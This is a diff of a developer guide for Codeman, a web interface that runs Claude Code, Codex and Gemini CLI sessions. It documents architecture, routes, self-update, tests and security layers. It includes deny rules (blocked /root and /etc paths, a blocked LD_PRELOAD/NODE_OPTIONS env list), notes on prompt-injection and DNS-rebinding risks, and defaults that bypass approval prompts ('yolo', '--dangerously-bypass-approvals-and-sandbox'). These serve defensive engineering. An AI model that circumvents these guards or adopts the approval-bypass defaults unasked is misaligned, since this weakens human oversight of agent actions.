-**Web Push**: Layer 5 of the notification system. Service worker (`sw.js`) receives push events and shows OS-level notifications even when the browser tab is closed. VAPID keys auto-generated on first use and persisted to `~/.codeman/push-keys.json`. Per-subscription per-event preferences stored in `~/.codeman/push-subscriptions.json`. Expired subscriptions (410/404) auto-cleaned. Requires HTTPS or localhost. iOS requires PWA installed to home screen. See `src/push-store.ts`.
+**Orchestrator**: State machine that turns a user goal into a phased plan and drives it to completion: `idle → planning → approval → executing → verifying → (replanning) → completed/failed`. `OrchestratorLoop` (engine) delegates plan generation to `orchestrator-planner` and per-phase verification gates to `orchestrator-verifier`, executing phases via team agents/`task-queue`. State persists under the `orchestrator` key in `state.json`. Distinct from Ralph (single-session autonomous loop) — orchestrator coordinates multi-phase, multi-agent execution. See `docs/orchestrator-loop-architecture.md`.
 
-**Agent Teams (experimental)**: `TeamWatcher` polls `~/.claude/teams/` for team configs and matches teams to sessions via `leadSessionId`. Teammates are in-process threads (not separate OS processes) and appear as standard subagents. RespawnController checks `TeamWatcher.hasActiveTeammates()` before triggering respawn. Enable via `CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1` env var in `settings.local.json`. See `agent-teams/` for full docs.
+**External CLI modes (OpenCode, Codex, Gemini)**: `isExternalCliMode()` in `session.ts` (`mode === 'opencode' || 'codex' || 'gemini'`) gates Claude-specific behavior — Ralph tracker, BashToolParser, token/CLI-info parsing, and ❯-prompt readiness detection are all skipped (these CLIs render their own TUIs; readiness = output stabilization instead). All three modes **require tmux — no direct PTY fallback** — because secrets are injected via `tmux setenv` (socket-scoped `${this.tmux()} setenv`, never on the spawn command line): OpenCode gets `OPENCODE_CONFIG_CONTENT` etc., Codex gets `OPENAI_API_KEY`/`CODEX_API_KEY`/`CODEX_HOME` (`setCodexEnvVars`), Gemini gets `GEMINI_API_KEY`/`GOOGLE_API_KEY`/`GOOGLE_CLOUD_PROJECT`/`GOOGLE_APPLICATION_CREDENTIALS`/`GOOGLE_GENAI_USE_VERTEXAI` etc. (`setGeminiEnvVars`, all in `tmux-manager.ts`). Codex specifics: command built by `buildCodexCommand()` (`--model`, `resume <id>`, `--dangerously-bypass-approvals-and-sandbox` from the `codexConfig` payload / `codexDangerouslyBypassApprovals` app setting; `renderMode` is schema-coerced to `'hybrid'`, the only supported mode). Gemini specifics: command built by `buildGeminiCommand()` (`--skip-trust` always, `--approval-mode <default|auto_edit|yolo|plan>` defaulting to `yolo` for parity with Claude's `--dangerously-skip-permissions`, `--model`, `--resume` from the `geminiConfig` payload); availability via `GET /api/gemini/status` — session/quick-start routes fail with `OPERATION_FAILED` + install hint (`npm install -g @google/gemini-cli`) when missing. Codex AND Gemini export `COLORTERM=truecolor` + unset `NO_COLOR` (other modes unset `COLORTERM`); Gemini joins `isAltScreenStripMode()` (Codex/Claude/Gemini are Ink TUIs that repaint inline → strip alt-screen/`3J` so scrollback survives). Codex availability via `GET /api/codex/status`. Frontend: run-mode dropdown → `runCodex()`/`runGemini()` in `session-ui.js` ("Run CX"/"Run GM" labels), App Settings → Codex CLI tab; Respawn/Ralph options are Claude-only, so session options open on the Summary tab for external CLI sessions. ⚠️ `run*()` MUST unwrap the `{success,data}` envelope (`(await res.json()).data.available` / `data.data.sessionId`) — reading the raw shape silently breaks the run. Tests: `test/run-mode-ui.test.ts` + `test/gemini-mode.test.ts` (vm-sandbox harness, no real DOM).
 
-**Circuit breaker**: Prevents respawn thrashing when Claude is stuck. States: `CLOSED` (normal) → `HALF_OPEN` (testing) → `OPEN` (blocked). Tracks consecutive no-progress, same-error-repeated, and tests-failing-too-long. Reset via API at `/api/sessions/:id/ralph-circuit-breaker/reset`.
+**Hook events**: Claude Code hooks trigger via `/api/hook-event`. Key events: `permission_prompt`, `elicitation_dialog`, `idle_prompt`, `stop`, `teammate_idle`, `task_completed`. See `src/hooks-config.ts`; upstream hook semantics mirrored in `docs/claude-code-hooks-reference.md`.
 
-**Respawn cycle metrics & health scoring**: `RespawnCycleMetrics` tracks per-cycle outcomes (success, stuck_recovery, blocked, error). `RalphLoopHealthScore` computes 0-100 health with component scores (cycleSuccess, circuitBreaker, iterationProgress, aiChecker, stuckRecovery). Available via respawn status API.
+**Agent Teams**: `TeamWatcher` polls `~/.claude/teams/`, matches to sessions via `leadSessionId`. Teammates are in-process threads appearing as subagents. Enable: `CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`. See `docs/agent-teams/`.
 
-**Subagent-session correlation**: Session parses Task tool output via `BashToolParser` → `SubagentWatcher` discovers new agent → calls `session.findTaskDescriptionNear()` to match description for window title.
+**Circuit breaker**: Prevents respawn thrashing. States: `CLOSED` → `HALF_OPEN` → `OPEN`. Reset: `/api/sessions/:id/ralph-circuit-breaker/reset`.
 
-### Frontend Files
+**Self-update** (App Settings → Updates): in-app updater for **git-clone installs** supervised by systemd/launchd. Supervisors: `systemd` (user unit), `launchd` (GUI LaunchAgent, gui-domain kickstart), `launchd-daemon` (KeepAlive system LaunchDaemon on headless Macs — restarts rootlessly by killing the server PID and letting launchd respawn it; detected only when the daemon is bootstrapped AND KeepAlive), else `none` → "restart manually" message; on next boot a manual-restart status auto-completes when the running version matches the target. The update restarts the very process running it, so the real work runs in a DETACHED `scripts/self-update.sh` (`git checkout <release tag> && npm install && npm run build && restart`) that outlives the restart; it writes progress to `dataPath('update-status.json')`, which the browser polls across the connection drop. Channel = latest `codeman@X.Y.Z` release tag; dirty trees are auto-stashed. `src/web/self-update.ts` splits PURE helpers (semver/tag parsing, reconcile decision — unit-tested) from IO wrappers (`getInstallInfo`/`checkForUpdate`/`startUpdate`/`reconcileUpdateOnBoot`). Routes: `GET /api/system/update/check`, `POST /api/system/update`, `GET /api/system/update/status`. Types: `src/types/update.ts`. npm installs report as non-updatable.

+**Attachments** (live external document references; COD-37/#119 core, COD-38/#120 previews, COD-39/#121 history): all wiring in `file-routes.ts`. **Registry** (`attachment-registry.ts`): an **in-memory** map of a stable `attachmentId` → an absolute, `realpath`-resolved, extension-allowlisted file path, so browser requests (`GET /api/sessions/:id/attachments/:attachmentId/raw`) never carry arbitrary absolute paths; `POST /api/sessions/:id/attachments` registers one. **Magic links** (`attachment-magic.ts`): parses `codeman://attach?...` out of terminal output — ⚠️ this scanner is prompt-injectable, so the scan path is **force-confined to the session workspace** (a hostile prompt could otherwise make it read arbitrary host files over SSE); emits the `attachment:detected` SSE event. Security gate is an extension **allowlist** (`isSupportedAttachmentExtension`, in the registry/magic modules), not a blocklist; a separate path layer (`config/attachment-guard.ts`) confines reads to the workspace (`attachmentConfineToWorkspace`) and blocks sensitive trees (`/root`, `/etc`). **Previews + thumbnails** (COD-38): `:attachmentId/preview` + `:attachmentId/thumbnail` (and the workspace-file equivalents `file-preview`/`file-thumbnail`) render Office docs/PDFs via external converters (`pdftoppm` / LibreOffice `soffice` / Word-COM `powershell`); `document-preview-cache.ts` is a shared disk cache (de-dups *identical* in-flight inputs), `document-thumbnailer.ts` does best-effort first-page images, and `document-conversion-limiter.ts` is a **global converter-spawn concurrency cap** (`runWithConversionLimit`) — without it, N distinct large docs detected at once fork N multi-minute converter processes = a localhost fork-bomb-shaped resource-exhaustion vector. **History drawer** (COD-39): `session-attachment-history.ts` tracks the last `ATTACHMENT_HISTORY_LIMIT` (100) attachments per session (`Session._attachmentHistory`, persisted via `SessionState.attachmentHistory`, replayed so externals re-register on reconnect); `GET /api/sessions/:id/attachments` is the list endpoint. ⚠️ The history drawer's launcher button is desktop-only — hidden on phones (regression-guarded; see `mobile-header-buttons-policy` test). Session-local files keep using the existing workspace-scoped `file-routes` paths; the registry is only for explicit live externals.
 
-### Frontend Architecture (`app.js`)
+**Ultracode / Workflow-run visualization** (opt-in `showUltracodeAgents`, default OFF; released 1.1.2): the Workflow tool ("ultracode") writes a run-state JSON per run at `~/.claude/projects/<projHash>/<sessionUuid>/workflows/wf_*.json`. `workflow-run-watcher.ts` (STANDALONE — deliberately never imports/touches `subagent-watcher.ts`; disjoint directory tree, separate singleton) globs that tree via periodic poll + per-run chokidar watcher with per-file mtime skip, and broadcasts SSE `workflow:run_discovered`/`run_updated`/`run_removed`. The watcher is started when **either** `showUltracodeAgents` **or** `ultracodeFloatingWindows` is on (`server.ts` `_updateWorkflowWatcher` returns `(showUltracodeAgents ?? false) || (ultracodeFloatingWindows ?? false)`). Served via `GET /api/workflows` (optional `?minutes=` filter) and `GET /api/workflows/:runId`. Frontend `ultracode-panel.js` renders a docked master-detail view (LEFT: runs + phases; RIGHT: per-agent tokens + tool-calls; click an agent card → its live transcript via client-side `agentId` join). **Additionally**, `ultracode-windows.js` auto-pops a draggable **floating window per active run** (gated on a **DEDICATED** `ultracodeFloatingWindows` toggle, default OFF — independent of the dock panel's `showUltracodeAgents`; see `_ultracodeFloatingEnabled()`), connected by a glowing line to the originating session tab (resolved by `session.claudeSessionId === run.sessionUuid`) — same line idiom as subagent windows, drawn into the shared `#connectionLines` SVG from the tail of `_updateConnectionLinesImmediate`. The window auto-closes ~8s after its run finishes; explicit dismissals are remembered. Clicking an agent card opens an **in-page** connected transcript window (not a browser popup); both run and transcript windows minimize **into** the originating session tab as a merged `ULTRA` badge (🧬 runs / 📄 transcripts) with a restore/dismiss dropdown — minimized runs are skipped by auto-pop. Gesture beta: floating subagent/ultracode windows are pinch-draggable (a `window` grab kind in `entry.ts`). Types: `src/types/workflow-run.ts`. Config: `src/config/workflow-config.ts`.
 
-The frontend is a single ~17.5K-line vanilla JS file with these key systems:
+**Cross-session search** (COD-113/#133): `GET /api/search?q=&types=&limit=` federates an **in-memory** search across all live sessions — session metadata (name/workingDir/id), run-summary events, and per-session attachment-history file entries (workspace-relative path only; the server-private `externalPath` is never read). Pure core in `search-service.ts` (`harvestSources()` gathers, `searchSources()` substring-matches with hard per-type caps — no regex, so no ReDoS; no filesystem reads, so no traversal). `SearchQuerySchema` bounds `q` (1–200), allowlists `types` (`session,event,file`), clamps `limit` (1–60). Returns the `{success,data}` envelope. Frontend: history-panel search box in `terminal-ui.js`. Types: `src/types/search.ts`.

+**Away digest** (COD-41/#136): `GET /api/away-digest?range=&since=&until=&lastViewed=` aggregates "what happened while you were away" from the lifecycle log + run-summary events + live sessions + daily token stats + recently-completed subagents into needs-attention/completed/still-running/idle/informational sections. Pure aggregator in `web/away-digest.ts` (`resolveAwayDigestRange()` validates the window — `since-last-visit`/`1h`/`today`/`24h`/`custom`, server-local TZ; `buildAwayDigest()` classifies). Header-button modal in `panels-ui.js` (button hidden on phones — regression-guarded). ⚠️ Returns `{success:true,digest}` (a legacy raw-ish shape, consistent with the other raw GET handlers in `system-routes.ts` — `{entries}`/`{config}`/`{files}`/`getSystemStats()`); frontend + tests read `.digest`. Subagent lookback is a fixed 60-min window regardless of range.

Stored on the tracker (`setMaxTodos`/`setTodoExpirationMinutes`) and **persisted/read-back via `RalphTrackerState`** (surfaced in the `loopState` getter → `toState()` + SSE broadcast → modal `populateRalphForm`), mirroring how `maxIterations` round-trips. Claude-only (skipped by `isExternalCliMode`).
 
-**Built-in respawn presets**: `solo-work` (3s idle, 60min), `subagent-workflow` (45s idle, 240min), `team-lead` (90s idle, 480min), `ralph-todo` (8s idle, 480min, works through @fix_plan.md tasks), `overnight-autonomous` (10s idle, 480min, full reset).
+**Port interfaces**: Routes declare dependencies via port interfaces (`src/web/ports/`). Routes use intersection types (e.g., `SessionPort & EventPort`).
 
-**Keyboard shortcuts**: Escape (close panels), Ctrl+? (help), Ctrl+Enter (quick start), Ctrl+W (kill session), Ctrl+Tab (next session), Ctrl+K (kill all), Ctrl+L (clear), Ctrl+Shift+R (restore size), Ctrl/Cmd +/- (font size).
+### Frontend
+
+Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. Load order: `constants.js`(1) → `mobile-handlers.js`(2) → `voice-input.js`(3) → `notification-manager.js`(4) → `keyboard-accessory.js`(5) → `input-cjk.js`(5.5) → `sanitize-html.js`(5.6) → `app.js`(6) → `terminal-ui.js`(7) → `respawn-ui.js`(8) → `ralph-panel.js`(9) → `orchestrator-panel.js`(9.5) → `settings-ui.js`(10) → `panels-ui.js`(11) → `ultracode-panel.js`(11.5) → `session-ui.js`(12) → `ralph-wizard.js`(13) → `api-client.js`(14) → `subagent-windows.js`(15) → `ultracode-windows.js`(15.5) → `image-input.js`(16). `input-cjk.js` handles CJK IME composition via an always-visible textarea below the terminal (`window.cjkActive` blocks xterm's onData).
+
+**Z-index layers**: subagent windows (1000), plan agents (1100), mobile/tablet fixed header (1200, `mobile.css`), modals on ≤768px (1300 — must beat the fixed header or the modal close button is buried; bug fixed in `b8cb467`), log viewers (2000), image popups (3000), local echo overlay (7).
+
+**Multi-monitor button** (header, top-right; the notification bell it sits beside stays hidden — notifications live in Settings → Notifications). `app.launchMultiMonitor()` (in `panels-ui.js`) POSTs `/api/system/span-displays`, which spawns `scripts/span-codeman.sh` — a fresh, maximized browser `--app` window sized to the union of all displays (macOS; needs "Displays have separate Spaces" OFF). Supports the gesture layer's in-page floating session panels dragging across the physical monitor seam. **Opt-in:** hidden by default; enable under App Settings → Display → **Header Displays** ("Multi-monitor Button", `showMultiMonitorButton`). The button carries a `btn-multimonitor--hidden` class in the template; `renderIndexHtml` strips that class at render when the setting is on (a unique class token, not a brittle match on the aria-label/style copy), and `applyHeaderVisibilitySettings()` toggles the same class live on save. Solo (detached) windows hide it via `body.solo-mode`.
+
+**Response-viewer (eye) button** (header) is likewise **hidden by default** — enable under App Settings → Display → **Response Viewer** (`showResponseViewer`). Purely client-side (no `renderIndexHtml` step): the template ships with `btn-response-viewer-header--hidden` and `applyHeaderVisibilitySettings()` (settings-ui.js) toggles it after settings load. Hiding must go through that marker class — the base rule is `display:inline-flex !important`, so an inline style can't override it. `showResponseViewer` is in the `displayKeys` per-device set (settings-ui.js), so it does NOT sync across devices.
+
+**Gesture control** (the camera hand-tracking overlay) is **opt-in, default OFF**, under App Settings → Display → **Input** (`gestureControlEnabled`). `CODEMAN_GESTURE=1` makes the feature *available* on the instance (CSP widening + `/gesture/` assets) and sets `window.__codemanGestureAvailable` (the Input section only shows when set); the overlay bundle is injected by `renderIndexHtml` **only when the setting is enabled**, so that method is `async` and reads `settings.json` via `readSettings(true)` — the `true` forces a **fresh** read (bypassing the 2s `_settingsCache`), because a post-save reload happens within that TTL and the cached value would otherwise render the pre-toggle state. Toggling the setting reloads the page (the bundle is render-injected).
+
+**Gesture-control source lives in-repo** at `packages/gesture-control/` (workspace package `codeman-gesture-control`, was the standalone `Ark0N/codeman-gesture-control` repo). The transport-agnostic core is `src/gesture/*` (MediaPipe GestureRecognizer → One-Euro-filtered cursor → pinch state machine); `src/codeman/entry.ts` is the Codeman *consumer* that maps grab/drag/drop onto real `.session-tab`/toolbar buttons and is the bundle entry. **Edit there, then run `npm run build:gesture`** (`scripts/build-gesture-bundle.mjs` → esbuild bundles `entry.ts`, MediaPipe JS included, into `src/web/public/gesture/gesture-codeman.js`) and **commit the regenerated bundle** — the committed bundle is what dev/`tsx` serves (no bundler at runtime), and `scripts/build.mjs` reruns the same step so prod always reflects current source. The MediaPipe **wasm + model** are NOT bundled — loaded at runtime from same-origin `/gesture/wasm` + `/gesture/gesture_recognizer.task`, fetched by `scripts/fetch-gesture-assets.mjs` (gitignored, see Gotchas). `entry.ts` mounts `window.__codemanGesture = new GestureBridge()` idempotently at module-eval. A standalone vite playground (`npm run dev` in the package — fake tabs, no Codeman) lets you iterate on gesture *feel* in isolation. ⚠️ Keep `MP_VERSION` in `fetch-gesture-assets.mjs` in sync with `@mediapipe/tasks-vision` in `packages/gesture-control/package.json`.
+
+**Theme skins** (App Settings → Display): the `skin` setting selects a palette via a `data-skin` attribute on `<html>`. Values: `daylight-blue` (default), `daylight-green`, `og` (OG Codeman). CSS lives under `[data-skin="…"]` blocks in `styles.css`. To avoid a flash-of-wrong-theme, an **inline pre-paint script** in `index.html` (`<head>`) reads `localStorage['codeman:skin']` and sets `data-skin` before first paint; `settings-ui.js` `applyTheme()`/`applyTerminalSkin()` apply it live on save and keep the standalone `codeman:skin` key + the settings object in sync. `skin` is a **per-device/client-only** setting — it's destructured OUT of the server payload (settings-ui.js, alongside `localEchoEnabled`/`cjkInputEnabled`/`extendedKeyboardBar`), so it does NOT sync across devices.
+
+**Respawn presets**: `solo-work` (3s/60min), `subagent-workflow` (45s/240min), `team-lead` (90s/480min), `ralph-todo` (8s/480min), `overnight-autonomous` (10s/480min).
+
+**Keyboard shortcuts**: Escape (close), Ctrl+? (help), Ctrl+W (kill), Ctrl+Tab (next), Alt+1-9 (switch tab), Ctrl+Shift+{/} (move tab left/right), Shift+Enter (newline), Ctrl+L (clear), Ctrl+Shift+R (restore size), Ctrl+Shift+V (voice input), Ctrl/Cmd +/- (font).
 
 ### Security
 
-- **HTTP Basic Auth**: Optional via `CODEMAN_USERNAME`/`CODEMAN_PASSWORD` env vars
-- **Session cookies**: After Basic Auth, a 24h session cookie (`codeman_session`) is issued so credentials aren't re-sent on every request. Active sessions auto-extend. SSE works via same-origin cookie (`EventSource` can't send custom headers).
-- **Rate limiting**: 10 failed auth attempts per IP triggers 429 rejection (15-minute decay window). Manual `StaleExpirationMap` counter — no `@fastify/rate-limit` needed.
-- **Hook bypass**: `/api/hook-event` POST is exempt from auth — Claude Code hooks curl this from localhost and can't present credentials. Safe: validated by `HookEventSchema`, only triggers broadcasts.
-- **CORS**: Restricted to localhost only
-- **Security headers**: X-Content-Type-Options, X-Frame-Options, CSP; HSTS if HTTPS
-- **Path validation** (`schemas.ts`): Strict allowlist regex, no shell metacharacters, no traversal, must be absolute
-- **Env var allowlist**: Only `CLAUDE_CODE_*` prefixes allowed; blocks `PATH`, `LD_PRELOAD`, `NODE_OPTIONS`, `CODEMAN_*` keys
-- **File streaming TOCTOU protection**: `FileStreamManager` calls `realpathSync()` twice (at validation and before spawn) to catch symlink swaps
+**Full model: [`docs/security-architecture.md`](docs/security-architecture.md)** — network binding, auth pipeline, the tunnel caveat, file-serving hardening, supply-chain, instance isolation, and recommended secure setups.
 
-### SSE Event Categories
+| Layer | Details |
+|-------|---------|
+| **Auth** | Optional HTTP Basic via `CODEMAN_USERNAME` (defaults to `admin`) / `CODEMAN_PASSWORD` env vars. Active only when `CODEMAN_PASSWORD` is set (`middleware/auth.ts`) |
+| **Network bind** | Defaults to `127.0.0.1` (loopback). A non-loopback bind (`--host`/`CODEMAN_HOST`) without `CODEMAN_PASSWORD` **starts but warns loudly** (0.9.0; was fail-closed in COD-29/#107). `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1` acknowledges the warning. Classifier: `network-auth-policy.ts` |
+| **Host guard** | Always-on Host-header allowlist blocks DNS rebinding (RCE on the default no-auth loopback install). Allows loopback, any IP literal, the bind host, `*.ts.net`/`*.trycloudflare.com`/`*.cfargotunnel.com`, the active managed tunnel, and `CODEMAN_ALLOWED_HOSTS`. ⚠️ **Custom reverse-proxy domains are rejected** unless added via `CODEMAN_ALLOWED_HOSTS=host,.suffix`. `registerHostGuard` in `server.ts`; policy in `network-auth-policy.ts` (`buildHostPolicy`/`isAllowedRequestHost`/`isAllowedRequestOrigin`) |
+| **CSRF / Origin** | Always-on cross-site Origin guard rejects state-changing requests from foreign origins (covers self-update, session create/input, settings/tunnel toggles). **A missing Origin is allowed** so curl/CLI and Claude Code hooks keep working. The global body parser keeps `text/plain` RAW (no auto-JSON-parse, which had enabled simple-request CSRF); `/api/crash-diag` self-parses. WebSocket upgrade validates Origin+Host (anti-CSWSH) in `ws-routes.ts`. Added in `c669518` (closes 2026-06-09 review CRITICALs) |
+| **QR Auth** | Single-use 6-char tokens (60s TTL) for tunnel login. See `docs/qr-auth-plan.md` |
+| **Sessions** | 24h cookie (`codeman_session`), auto-extend, device context audit |
+| **Rate limit** | 10 failed auth/IP → 429 (15min decay). QR has separate limiter |
+| **Hook bypass** | `/api/hook-event` (and `/api/status-telemetry`, the statusLine exporter) exempt from auth (localhost-only, schema-validated). While the **managed tunnel** runs, the bypass additionally requires the per-instance `X-Codeman-Hook-Secret` header (COD-54, `config/hook-secret.ts`): hook curls cat the secret file at exec time via `$CODEMAN_HOOK_SECRET_FILE` (session env), failures rate-limit in a dedicated bucket (never lock out login). External loopback proxies (own cloudflared/`tailscale serve`) aren't detected — plain bypass still applies there. Tunnel enable **refuses** without `CODEMAN_PASSWORD` unless exposure is acknowledged — via `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1` (env, COD-55) **or** the per-request `acknowledgeUnauthTunnel:true` action field (1.1.9): the welcome/settings tunnel toggle pops a security confirm dialog and, on confirm, resends with that flag (server logs a loud warning on every passwordless tunnel start; curl/API stay refused without password/env/flag). The flag is an action field, never persisted |
+| **Env vars** | `CODEMAN_MUX` (managed session), `CODEMAN_API_URL` (auto-set for hooks), `CODEMAN_ALLOWED_HOSTS` (extra Host/Origin allowlist entries for reverse proxies, comma-separated; bare `.suffix` matches subdomains) |
+| **Validation** | Zod schemas, path allowlist regex, env prefix allowlist (`CLAUDE_CODE_*`/`OPENCODE_*`/`CODEX_*`) |
+| **Headers** | CORS localhost-only, CSP, X-Frame-Options, HSTS if HTTPS |

+### API Routes
 
-~105 routes in `server.ts:buildServer()`. Key groups:
+~150 handlers across 17 route files in `src/web/routes/`: system (45, incl. self-update `check`/`status`/`POST /api/system/update`, `POST /api/system/span-displays` → spawns `scripts/span-codeman.sh`, `GET /api/codex/status`, `GET /api/gemini/status`, and `GET /api/away-digest`), sessions (29), orchestrator (10), cases (9), ralph (9), plan (8), files (14, incl. attachment register + list/history + `:attachmentId/raw`/`preview`/`thumbnail` + workspace `file-preview`/`file-thumbnail`), respawn (7), mux (5), push (4), scheduled (4), teams (2), search (1, `GET /api/search`), hooks (1), clipboard (1), status-telemetry (1, `POST /api/status-telemetry` ← statusLine exporter), ws (1 WebSocket). Each file has `@fileoverview` with endpoint details.

+**HTTP contract** (stable since 0.9.x, see `docs/versioning-policy.md`; full envelope/status/error-code/SSE spec in `docs/api-reference.md`): responses use the `ApiResponse<T>` envelope — `{ success: true, data? }` or `{ success: false, error, errorCode }` (`src/types/api.ts`). `/api/v1/*` is a versioned alias of `/api/*` (URL rewrite in `server.ts`).
 
 ## Adding Features
 
-- **API endpoint**: Types in `types.ts`, route in `server.ts:buildServer()`, use `createErrorResponse()`. Validate request bodies with Zod schemas in `schemas.ts`.
-- **SSE event**: Emit via `broadcast()`, handle in `app.js` SSE listener section (search `addListener(`)
-- **Session setting**: Add to `SessionState` in `types.ts`, include in `session.toState()`, call `persistSessionState()`
-- **Hook event**: Add to `HookEventType` in `types.ts`, add hook command in `hooks-config.ts:generateHooksConfig()`, update `HookEventSchema` in `schemas.ts`
-- **Mobile feature**: Add to relevant mobile singleton (`KeyboardHandler`, `KeyboardAccessoryBar`, etc.), test with `MobileDetection.isMobile()` guard
-- **New test**: Pick unique port (search `const PORT =`), add port comment to test file header. Tests use ports 3150+.
+- **API endpoint**: Types in `src/types/` domain file, route in `src/web/routes/*-routes.ts`. Return the `ApiResponse` envelope (`{ success: true, data }`; errors via `createErrorResponse()` with proper status code). Validate with Zod schemas in `schemas.ts`.
+- **SSE event**: Add to `src/web/sse-events.ts` + `SSE_EVENTS` in `constants.js`, emit via `broadcast()`, handle in `app.js` (`addListener(`)
+- **Session setting**: Add to `SessionState`, include in `session.toState()`, call `persistSessionState()`
+- **Hook event**: Add to `HookEventType`, add hook in `hooks-config.ts:generateHooksConfig()`, update `HookEventSchema`
+- **Mobile feature**: Add to relevant singleton, guard with `MobileDetection.isMobile()`
+- **New test**: Pick unique port (search `const PORT =`). Route tests use `app.inject()` (no port needed) — see `test/routes/_route-test-utils.ts`.
 
-**Validation**: Uses Zod v4 for request validation. Define schemas in `schemas.ts` and use `.parse()` or `.safeParse()`. Note: Zod v4 has different API from v3 (e.g., `z.object()` options changed, error formatting differs).
+**Validation**: Zod v4 (different API from v3). Define schemas in `schemas.ts`, use `.parse()`/`.safeParse()`.
 
 ## State Files
 
-| File | Purpose |
-|------|---------|
-| `~/.codeman/state.json` | Sessions, settings, tokens, respawn config |
-| `~/.codeman/mux-sessions.json` | Tmux session metadata for recovery |
-| `~/.codeman/settings.json` | User preferences |
-| `~/.codeman/push-keys.json` | VAPID key pair for Web Push (auto-generated) |
-| `~/.codeman/push-subscriptions.json` | Registered push notification subscriptions |
+All in `~/.codeman/`: `state.json` (sessions, settings, respawn), `mux-sessions.json` (tmux recovery), `settings.json` (user prefs), `push-keys.json` (VAPID), `push-subscriptions.json`, `session-lifecycle.jsonl` (audit log), `update-status.json` (self-updater progress, polled across the service restart).
 
-## Default Settings
-
-UI defaults are set in `src/web/public/app.js` using `??` fallbacks. To change defaults, edit `openAppSettings()` and `apply*Visibility()` functions.
-
-**Key defaults:** Most panels hidden (monitor, subagents shown), notifications enabled (audio disabled), subagent tracking on, Ralph tracking off.
+**Generated top-level dirs** (all gitignored — don't edit or commit): `dist/` (esbuild output), `out/`, `coverage/`, `test-results/`, `tmp/`, `screenshots-echo-diag/`. The committed gesture bundle (`src/web/public/gesture/gesture-codeman.js`) IS tracked, but its runtime wasm/model assets (`src/web/public/gesture/wasm/`, `*.task`) are fetched and gitignored.
 
 ## Testing
 
-**CRITICAL: You are running inside a Codeman-managed tmux session.** Never run `npx vitest run` (full suite) — it spawns/kills tmux sessions and will crash your own session. Instead:
+**Never run the bare full suite** (`npm test` with no file argument): the default config includes the browser-driven suites (`test/mobile/**` and 3 other Playwright tests), which need a live server + chromium + environment-specific PNG baselines and will fail/hang locally. Run individual files, or `test:ci` for a broad sweep:
 
 ```bash
-# Safe: run individual test files
-npx vitest run test/<specific-file>.test.ts
-
-# Safe: run tests matching a pattern
-npx vitest run -t "pattern"
-
-# DANGEROUS from inside Codeman — will kill your tmux session:
-# npx vitest run          ← DON'T DO THIS
+npm test -- test/<specific-file>.test.ts         # Single file (SAFE, uses config/vitest.config.ts)
+npm test -- -t "pattern"                          # By name (SAFE)
+npm run test:ci                                   # Everything except browser/perf suites — what CI runs
+# npm test                                        # DON'T — includes browser/visual suites
 ```
 
-**Ports**: Unit tests pick unique ports manually. Search `const PORT =` before adding new tests.
+Raw `npx vitest` skips `config/vitest.config.ts`; always use `npm test --` or pass `--config config/vitest.config.ts`.
 
-**Config**: Vitest with `globals: true`, `fileParallelism: false`. Unit timeout 30s.
+**Config**: Vitest with `globals: true`, `fileParallelism: false`. Timeout 30s, teardown 60s. `config/vitest.ci.config.ts` = same minus the browser/perf excludes — keep the two configs in sync when changing shared options.
 
-**Safety**: `test/setup.ts` snapshots pre-existing tmux sessions at load time and never kills them. Only sessions registered via `registerTestTmuxSession()` get cleaned up.
+**Tmux safety**: under vitest (`VITEST` env var, set automatically), `TmuxManager` no-ops ALL shell commands and becomes a pure in-memory mock — tests physically cannot create/kill/attach real tmux sessions (`IS_TEST_MODE` in `src/tmux-manager.ts`). `test/setup.ts` additionally strips `CODEMAN_PASSWORD`/`CODEMAN_USERNAME` so auth state from the running instance can't leak into tests.
 
-**Respawn tests**: Use MockSession from `test/respawn-test-utils.ts` to avoid spawning real Claude processes.
+**Ports**: Pick unique ports manually. Search `const PORT =` before adding new tests.
 
-**Mobile tests**: Separate Playwright-based suite in `mobile-test/` with 135 device profiles. Run via `npx vitest run --config mobile-test/vitest.config.ts`. See `mobile-test/README.md`.
-
-## Screenshots ("sc")
-
-When the user says "check the sc", "screenshot", or "sc", they mean uploaded screenshots from their mobile device. Screenshots are saved to `~/.codeman/screenshots/` and uploaded via `/upload.html` on the Codeman web UI. To view them, use the Read tool on the image files:
-
-```bash
-ls ~/.codeman/screenshots/        # List uploaded screenshots
-# Then use Read tool on individual files — Claude Code can view images natively
-```
-
-API: `GET /api/screenshots` (list), `GET /api/screenshots/:name` (serve), `POST /api/screenshots` (upload multipart/form-data). Source: `src/web/public/upload.html`.
+**Respawn tests**: Use `MockSession` from `test/mocks/index.ts` (defined in `test/mocks/mock-session.ts`). **Route tests**: `app.inject({ method, url, payload })` in `test/routes/` — no live port needed. **Mobile tests**: Playwright suite in `test/mobile/` (135 device profiles). Browser-testing infra and practices: `docs/browser-testing-guide.md`.

 ```
 
-## Troubleshooting
+Mobile screenshots: `~/.codeman/screenshots/`, accessed via `GET/POST /api/screenshots`.
 
-| Problem | Check | Fix |
-|---------|-------|-----|
-| Session won't start | `tmux list-sessions` for orphans | Kill orphaned sessions, check Claude CLI installed |
-| Port 3000 in use | `lsof -i :3000` | Kill conflicting process or use `--port` flag |
-| SSE not connecting | Browser console for errors | Check CORS, ensure server running |
-| Respawn not triggering | Session settings → Respawn enabled? | Enable respawn, check idle timeout config |
-| Terminal blank on tab switch | Network tab for `/api/sessions/:id/buffer` | Check session exists, restart server |
-| Tests failing on session limits | `tmux list-sessions \| wc -l` | Clean up: `tmux list-sessions \| grep test \| awk -F: '{print $1}' \| xargs -I{} tmux kill-session -t {}` |
-| State not persisting | `cat ~/.codeman/state.json` | Check file permissions, disk space |
+## Performance & Limits
 
-## Performance Constraints
+Target: 20 sessions, 50 agent windows at 60fps. Limits in `src/config/`: terminal 2MB, text 1MB, messages 1000, max agents 500, max sessions 50, max SSE clients 100. **Image upload** (`image-input.js` / `config/buffer-limits.ts`): up to `_maxBatchImages` 20 images/batch (bounded concurrency 3), per-file `MAX_PASTE_IMAGE_BYTES` 50MB (env `CODEMAN_MAX_PASTE_IMAGE_BYTES`); the mobile camera-roll picker auto-downscales to fit before upload. Use `LRUMap` for bounded caches, `StaleExpirationMap` for TTL cleanup. Anti-flicker pipeline: `docs/terminal-anti-flicker.md`.
 
-The app must stay fast with 20 sessions and 50 agent windows:
-- 60fps terminal (16ms batching + `requestAnimationFrame`)
